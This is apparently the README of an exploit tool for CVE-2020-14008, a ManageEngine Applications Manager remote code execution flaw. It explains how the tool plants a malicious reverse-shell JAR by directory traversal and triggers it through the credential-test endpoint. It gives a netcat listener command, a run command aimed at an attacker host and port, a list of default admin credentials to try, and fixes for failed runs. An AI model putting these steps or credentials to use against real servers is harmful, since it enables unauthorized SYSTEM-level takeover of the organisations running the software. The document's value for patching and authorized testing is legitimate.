
CVE-2020-14008 - ManageEngine Applications Manager RCE
Authenticated Remote Code Execution via Arbitrary File Upload in Zoho ManageEngine Applications Manager (versions <= 14720).
| Detail | Value |
|---|
| CVE | CVE-2020-14008 |
| CVSS | 7.2 (High) |
| Type | Authenticated RCE / Arbitrary File Upload |
| Product | Zoho ManageEngine Applications Manager |
| Affected | Version 14720 and below |
| Requirement | Valid admin credentials |
| Result | SYSTEM-level reverse shell |
The exploit abuses the Weblogic monitor credential test feature. An authenticated admin uploads a malicious weblogic.jar file to the expected Weblogic library path. When the credential test is triggered, ManageEngine loads weblogic.jndi.Environment from the uploaded JAR via JarLoader.loadClass() and newInstance(), executing arbitrary Java code.
javac and jar on PATH)nc (netcat) for catch reverse shellpip3 install requests urllib3 lxml
nc -lvnp 1337
python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>
# Basic
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337
weblogic.jndi.Environment) containing a reverse shell into weblogic.jarclasses/weblogic/version8/ via directory traversal (fallback: create a scheduled task to move it)/testCredential.do, which loads and instantiates the malicious class| Username | Password |
|---|---|
| admin | admin |
| admin | password |
| administrator | administrator |
| guest | guest |
| Error | Fix |
|---|---|
release version 7 not supported | Java 21+ dropped Java 7 target. Script uses --release 8 |
FileNotFoundError: weblogic.jar | JAR compilation failed. Verify javac and jar are on PATH |
No valid response from used session | Invalid credentials |
Actionname not found | Task creation failed, check admin permissions |
This tool is provided for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have permission to test is illegal.